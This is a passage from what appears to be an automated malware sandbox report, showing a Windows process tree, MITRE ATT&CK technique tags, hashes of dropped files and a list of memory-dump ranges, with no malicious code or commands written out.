                                                                                                    • Modifies data under HKEY_USERS
                                                                                                    PID:3104
                                                                                                  • c:\windows\system32\svchost.exe
                                                                                                    c:\windows\system32\svchost.exe -k netsvcs -s wlidsvc
                                                                                                    1⤵
                                                                                                      PID:4944
                                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                      1⤵
                                                                                                        PID:4128
                                                                                                      • C:\Windows\system32\ApplicationFrameHost.exe
                                                                                                        C:\Windows\system32\ApplicationFrameHost.exe -Embedding
                                                                                                        1⤵
                                                                                                          PID:2964
                                                                                                        • C:\Windows\System32\InstallAgent.exe
                                                                                                          C:\Windows\System32\InstallAgent.exe -Embedding
                                                                                                          1⤵
                                                                                                            PID:5064
                                                                                                          • C:\Windows\system32\DllHost.exe
                                                                                                            C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
                                                                                                            1⤵
                                                                                                              PID:4612
                                                                                                              • C:\Windows\system32\WerFault.exe
                                                                                                                C:\Windows\system32\WerFault.exe -u -p 4612 -s 712
                                                                                                                2⤵
                                                                                                                  PID:2788
                                                                                                                • C:\Windows\system32\WerFault.exe
                                                                                                                  C:\Windows\system32\WerFault.exe -u -p 4612 -s 652
                                                                                                                  2⤵
                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                  PID:1084
                                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                                C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                                                1⤵
                                                                                                                • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                PID:4356

                                                                                                              Network

                                                                                                              MITRE ATT&CK Matrix ATT&CK v13

                                                                                                              Execution

                                                                                                              Scheduled Task/Job

                                                                                                              1
                                                                                                              T1053

                                                                                                              Persistence

                                                                                                              Scheduled Task/Job

                                                                                                              1
                                                                                                              T1053

                                                                                                              Privilege Escalation

                                                                                                              Scheduled Task/Job

                                                                                                              1
                                                                                                              T1053

                                                                                                              Discovery

                                                                                                              System Information Discovery

                                                                                                              2
                                                                                                              T1082

                                                                                                              Query Registry

                                                                                                              1
                                                                                                              T1012

                                                                                                              Peripheral Device Discovery

                                                                                                              1
                                                                                                              T1120

                                                                                                              Remote System Discovery

                                                                                                              1
                                                                                                              T1018

                                                                                                              Command and Control

                                                                                                              Web Service

                                                                                                              1
                                                                                                              T1102

                                                                                                              Replay Monitor

                                                                                                              Loading Replay Monitor...

                                                                                                              Downloads

                                                                                                              • C:\Users\Admin\AppData\Local\Temp\63eIBINiSevA.bat
                                                                                                                Filesize

                                                                                                                271B

                                                                                                                MD5

                                                                                                                fda7f447461abb6207e9b3be3d64faac

                                                                                                                SHA1

                                                                                                                061ea146300a8ae5e960d08df6d5ed38d90519da

                                                                                                                SHA256

                                                                                                                a1cf09200dbb548929b714cad891b3dfa9445a03d088abe22cbc5edadc24e1c4

                                                                                                                SHA512

                                                                                                                682ef1b671990afe2dbcdc0193d1d5db32e6119e296cb918f0d90442059ba58f821927afa94fe9711d889a0295693084b1a0bc6fd9c49b0b64917f45649a71f8

                                                                                                              • C:\Users\Admin\AppData\Local\Temp\Install.exe
                                                                                                                Filesize

                                                                                                                162KB

                                                                                                                MD5

                                                                                                                152e3f07bbaf88fb8b097ba05a60df6e

                                                                                                                SHA1

                                                                                                                c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

                                                                                                                SHA256

                                                                                                                a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

                                                                                                                SHA512

                                                                                                                2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

                                                                                                              • C:\Users\Admin\AppData\Roaming\$sxr\04-21-~1
                                                                                                                Filesize

                                                                                                                224B

                                                                                                                MD5

                                                                                                                76cbb4d23eb7879a8904c865883463ad

                                                                                                                SHA1

                                                                                                                88c57576fb292bd9407eaf793a6436210b532b2d

                                                                                                                SHA256

                                                                                                                eb2ce80614b48eb5cf19d760d5a1ad0ae142ec6536eb26c3566bec0f1ad6be5a

                                                                                                                SHA512

                                                                                                                a3b9cfea9d1db58df358a1da19aa7fd079e20257adc36292b6185dc986d4e3eb013eda3e81d3129fd2e0d3976b39942010886d0a570de9dfd43f860a578c5b04

                                                                                                              • C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64YDPS.exe
                                                                                                                Filesize

                                                                                                                409KB

                                                                                                                MD5

                                                                                                                4c5faec89139e079202a5208d49ed5a0

                                                                                                                SHA1

                                                                                                                f26bf551e191af0dd01b5d39ae0c8489d94a877e

                                                                                                                SHA256

                                                                                                                bbecd1e502693965f493ecb6a611dd86dc71b4bcb8471cf4c459d0b44e9f6378

                                                                                                                SHA512

                                                                                                                5d31a95a76a2d17967f685b47823682f8301164ee9386f267f2ce28b866429dfb48aa7ef7cb21a7ab8b732286fb99eee989d10e5040ea69a361ba83b0b22ec64

                                                                                                              • C:\Windows\Temp\__PSScriptPolicyTest_zuchhkww.iup.ps1
                                                                                                                Filesize

                                                                                                                1B

                                                                                                                MD5

                                                                                                                c4ca4238a0b923820dcc509a6f75849b

                                                                                                                SHA1

                                                                                                                356a192b7913b04c54574d18c28d46e6395428ab

                                                                                                                SHA256

                                                                                                                6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

                                                                                                                SHA512

                                                                                                                4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

                                                                                                              • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
                                                                                                                Filesize

                                                                                                                3KB

                                                                                                                MD5

                                                                                                                42d4b1d78e6e092af15c7aef34e5cf45

                                                                                                                SHA1

                                                                                                                6cf9d0e674430680f67260194d3185667a2bb77b

                                                                                                                SHA256

                                                                                                                c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

                                                                                                                SHA512

                                                                                                                d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

                                                                                                              • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                Filesize

                                                                                                                1KB

                                                                                                                MD5

                                                                                                                efe0903424c927d3611f8d8acd078b79

                                                                                                                SHA1

                                                                                                                22fda4e644f8fa0908493f40b930b1dff1755356

                                                                                                                SHA256

                                                                                                                79fc6c6c41514007fa27978e5313312789718489126594f603a4a325153114d6

                                                                                                                SHA512

                                                                                                                8de645327a416095eae442471a8b4f0b27c60dd424545ebb9f9708a412b6f7d0635ef3069e1663db3dd2bfe5882040c25a1af10d12a2eed4bf8340fd401f8de9

                                                                                                              • memory/216-52-0x00000277F0100000-0x00000277F012A000-memory.dmp
                                                                                                                Filesize

                                                                                                                168KB

                                                                                                              • memory/216-43-0x00000277D79E0000-0x00000277D79F0000-memory.dmp
                                                                                                                Filesize

                                                                                                                64KB

                                                                                                              • memory/216-65-0x00007FF88B790000-0x00007FF88C17C000-memory.dmp
                                                                                                                Filesize

                                                                                                                9.9MB

                                                                                                              • memory/216-66-0x00007FF8A8370000-0x00007FF8A854B000-memory.dmp
                                                                                                                Filesize

                                                                                                                1.9MB

                                                                                                              • memory/216-67-0x00007FF8A5FD0000-0x00007FF8A607E000-memory.dmp
                                                                                                                Filesize

                                                                                                                696KB

                                                                                                              • memory/216-54-0x00007FF8A5FD0000-0x00007FF8A607E000-memory.dmp
                                                                                                                Filesize

                                                                                                                696KB

                                                                                                              • memory/216-26-0x00000277D79E0000-0x00000277D79F0000-memory.dmp
                                                                                                                Filesize

                                                                                                                64KB

                                                                                                              • memory/216-25-0x00007FF88B790000-0x00007FF88C17C000-memory.dmp
                                                                                                                Filesize

                                                                                                                9.9MB

                                                                                                              • memory/216-27-0x00000277D79E0000-0x00000277D79F0000-memory.dmp
                                                                                                                Filesize

                                                                                                                64KB

                                                                                                              • memory/216-28-0x00000277EFF90000-0x00000277EFFB2000-memory.dmp
                                                                                                                Filesize

                                                                                                                136KB

                                                                                                              • memory/216-31-0x00000277F0140000-0x00000277F01B6000-memory.dmp
                                                                                                                Filesize

                                                                                                                472KB

                                                                                                              • memory/216-53-0x00007FF8A8370000-0x00007FF8A854B000-memory.dmp
                                                                                                                Filesize

                                                                                                                1.9MB

                                                                                                              • memory/364-127-0x000001D2413D0000-0x000001D2413FB000-memory.dmp
                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/368-125-0x000001884A090000-0x000001884A0BB000-memory.dmp
                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/428-50-0x0000000006750000-0x000000000675A000-memory.dmp
                                                                                                                Filesize

                                                                                                                40KB

                                                                                                              • memory/428-84-0x0000000073EE0000-0x00000000745CE000-memory.dmp
                                                                                                                Filesize

                                                                                                                6.9MB

                                                                                                              • memory/428-88-0x00000000051F0000-0x0000000005200000-memory.dmp
                                                                                                                Filesize

                                                                                                                64KB

                                                                                                              • memory/428-380-0x0000000073EE0000-0x00000000745CE000-memory.dmp
                                                                                                                Filesize

                                                                                                                6.9MB

                                                                                                              • memory/428-14-0x00000000051F0000-0x0000000005200000-memory.dmp
                                                                                                                Filesize

                                                                                                                64KB

                                                                                                              • memory/428-13-0x0000000073EE0000-0x00000000745CE000-memory.dmp
                                                                                                                Filesize

                                                                                                                6.9MB

                                                                                                              • memory/588-75-0x00000211C4E10000-0x00000211C4E35000-memory.dmp
                                                                                                                Filesize

                                                                                                                148KB

                                                                                                              • memory/588-78-0x00000211C4E40000-0x00000211C4E6B000-memory.dmp
                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/588-112-0x00007FF868400000-0x00007FF868410000-memory.dmp
                                                                                                                Filesize

                                                                                                                64KB

                                                                                                              • memory/588-114-0x00007FF8A8415000-0x00007FF8A8416000-memory.dmp
                                                                                                                Filesize

                                                                                                                4KB

                                                                                                              • memory/588-109-0x00000211C4E40000-0x00000211C4E6B000-memory.dmp
                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/588-76-0x00000211C4E40000-0x00000211C4E6B000-memory.dmp
                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/648-129-0x00007FF868400000-0x00007FF868410000-memory.dmp
                                                                                                                Filesize

                                                                                                                64KB

                                                                                                              • memory/648-83-0x000001CEFF170000-0x000001CEFF19B000-memory.dmp
                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/648-122-0x000001CEFF170000-0x000001CEFF19B000-memory.dmp
                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/732-100-0x0000020FD4B70000-0x0000020FD4B9B000-memory.dmp
                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/1000-102-0x000002036C1D0000-0x000002036C1FB000-memory.dmp
                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/1000-165-0x00007FF8A8415000-0x00007FF8A8416000-memory.dmp
                                                                                                                Filesize

                                                                                                                4KB

                                                                                                              • memory/1084-1655-0x00007FF8A8370000-0x00007FF8A854B000-memory.dmp
                                                                                                                Filesize

                                                                                                                1.9MB

                                                                                                              • memory/1084-1654-0x00007FF8A8370000-0x00007FF8A854B000-memory.dmp
                                                                                                                Filesize

                                                                                                                1.9MB

                                                                                                              • memory/2304-836-0x0000000000F20000-0x0000000000F3C000-memory.dmp
                                                                                                                Filesize

                                                                                                                112KB

                                                                                                              • memory/2400-366-0x00007FF8A8370000-0x00007FF8A854B000-memory.dmp
                                                                                                                Filesize

                                                                                                                1.9MB

                                                                                                              • memory/2400-460-0x00007FF8A8370000-0x00007FF8A854B000-memory.dmp
                                                                                                                Filesize

                                                                                                                1.9MB

                                                                                                              • memory/2440-983-0x00007FF8A8370000-0x00007FF8A854B000-memory.dmp
                                                                                                                Filesize

                                                                                                                1.9MB

                                                                                                              • memory/2440-1029-0x00007FF8A8370000-0x00007FF8A854B000-memory.dmp
                                                                                                                Filesize

                                                                                                                1.9MB

                                                                                                              • memory/2440-986-0x00007FF8A5FD0000-0x00007FF8A607E000-memory.dmp
                                                                                                                Filesize

                                                                                                                696KB

                                                                                                              • memory/2960-1004-0x00007FF8A8370000-0x00007FF8A854B000-memory.dmp
                                                                                                                Filesize

                                                                                                                1.9MB

                                                                                                              • memory/2960-56-0x0000000140000000-0x0000000140008000-memory.dmp
                                                                                                                Filesize

                                                                                                                32KB

                                                                                                              • memory/2960-59-0x0000000140000000-0x0000000140008000-memory.dmp
                                                                                                                Filesize

                                                                                                                32KB

                                                                                                              • memory/2960-97-0x00007FF8A8370000-0x00007FF8A854B000-memory.dmp
                                                                                                                Filesize

                                                                                                                1.9MB

                                                                                                              • memory/2960-72-0x0000000140000000-0x0000000140008000-memory.dmp
                                                                                                                Filesize

                                                                                                                32KB

                                                                                                              • memory/2960-61-0x0000000140000000-0x0000000140008000-memory.dmp
                                                                                                                Filesize

                                                                                                                32KB

                                                                                                              • memory/2960-69-0x00007FF8A8370000-0x00007FF8A854B000-memory.dmp
                                                                                                                Filesize

                                                                                                                1.9MB

                                                                                                              • memory/2960-71-0x00007FF8A5FD0000-0x00007FF8A607E000-memory.dmp
                                                                                                                Filesize

                                                                                                                696KB

                                                                                                              • memory/2960-55-0x0000000140000000-0x0000000140008000-memory.dmp
                                                                                                                Filesize

                                                                                                                32KB

                                                                                                              • memory/2960-57-0x0000000140000000-0x0000000140008000-memory.dmp
                                                                                                                Filesize

                                                                                                                32KB

                                                                                                              • memory/3180-981-0x00007FF8A5FD0000-0x00007FF8A607E000-memory.dmp
                                                                                                                Filesize

                                                                                                                696KB

                                                                                                              • memory/3180-969-0x000001AC6FCA0000-0x000001AC6FCB0000-memory.dmp
                                                                                                                Filesize

                                                                                                                64KB

                                                                                                              • memory/3180-992-0x00007FF88B790000-0x00007FF88C17C000-memory.dmp
                                                                                                                Filesize

                                                                                                                9.9MB

                                                                                                              • memory/3180-994-0x00007FF8A5FD0000-0x00007FF8A607E000-memory.dmp
                                                                                                                Filesize

                                                                                                                696KB

                                                                                                              • memory/3180-993-0x00007FF8A8370000-0x00007FF8A854B000-memory.dmp
                                                                                                                Filesize

                                                                                                                1.9MB

                                                                                                              • memory/3180-856-0x00007FF88B790000-0x00007FF88C17C000-memory.dmp
                                                                                                                Filesize

                                                                                                                9.9MB

                                                                                                              • memory/3180-857-0x000001AC6FCA0000-0x000001AC6FCB0000-memory.dmp
                                                                                                                Filesize

                                                                                                                64KB

                                                                                                              • memory/3180-862-0x000001AC6FCA0000-0x000001AC6FCB0000-memory.dmp
                                                                                                                Filesize

                                                                                                                64KB

                                                                                                              • memory/3180-985-0x000001AC6FCA0000-0x000001AC6FCB0000-memory.dmp
                                                                                                                Filesize

                                                                                                                64KB

                                                                                                              • memory/3180-899-0x00007FF8A8370000-0x00007FF8A854B000-memory.dmp
                                                                                                                Filesize

                                                                                                                1.9MB

                                                                                                              • memory/3180-978-0x00007FF8A8370000-0x00007FF8A854B000-memory.dmp
                                                                                                                Filesize

                                                                                                                1.9MB

                                                                                                              • memory/3180-949-0x000001AC6FCA0000-0x000001AC6FCB0000-memory.dmp
                                                                                                                Filesize

                                                                                                                64KB

                                                                                                              • memory/3180-968-0x00007FF88B790000-0x00007FF88C17C000-memory.dmp
                                                                                                                Filesize

                                                                                                                9.9MB

                                                                                                              • memory/3272-575-0x00007FF8A8370000-0x00007FF8A854B000-memory.dmp
                                                                                                                Filesize

                                                                                                                1.9MB

                                                                                                              • memory/3272-583-0x00007FF8A8370000-0x00007FF8A854B000-memory.dmp
                                                                                                                Filesize

                                                                                                                1.9MB

                                                                                                              • memory/3368-728-0x00007FF868400000-0x00007FF868410000-memory.dmp
                                                                                                                Filesize

                                                                                                                64KB

                                                                                                              • memory/4228-2-0x0000000005580000-0x0000000005A7E000-memory.dmp
                                                                                                                Filesize

                                                                                                                5.0MB

                                                                                                              • memory/4228-7-0x00000000061A0000-0x00000000061DE000-memory.dmp
                                                                                                                Filesize

                                                                                                                248KB

                                                                                                              • memory/4228-4-0x00000000051B0000-0x00000000051C0000-memory.dmp
                                                                                                                Filesize

                                                                                                                64KB

                                                                                                              • memory/4228-1-0x0000000073EE0000-0x00000000745CE000-memory.dmp
                                                                                                                Filesize

                                                                                                                6.9MB

                                                                                                              • memory/4228-3-0x00000000051C0000-0x0000000005252000-memory.dmp
                                                                                                                Filesize

                                                                                                                584KB

                                                                                                              • memory/4228-0-0x0000000000880000-0x00000000008EC000-memory.dmp
                                                                                                                Filesize

                                                                                                                432KB

                                                                                                              • memory/4228-5-0x0000000005260000-0x00000000052C6000-memory.dmp
                                                                                                                Filesize

                                                                                                                408KB

                                                                                                              • memory/4228-20-0x0000000073EE0000-0x00000000745CE000-memory.dmp
                                                                                                                Filesize

                                                                                                                6.9MB

                                                                                                              • memory/4228-6-0x0000000005DB0000-0x0000000005DC2000-memory.dmp
                                                                                                                Filesize

                                                                                                                72KB

                                                                                                              • memory/4992-877-0x000001AC6FCA0000-0x000001AC6FCB0000-memory.dmp
                                                                                                                Filesize

                                                                                                                64KB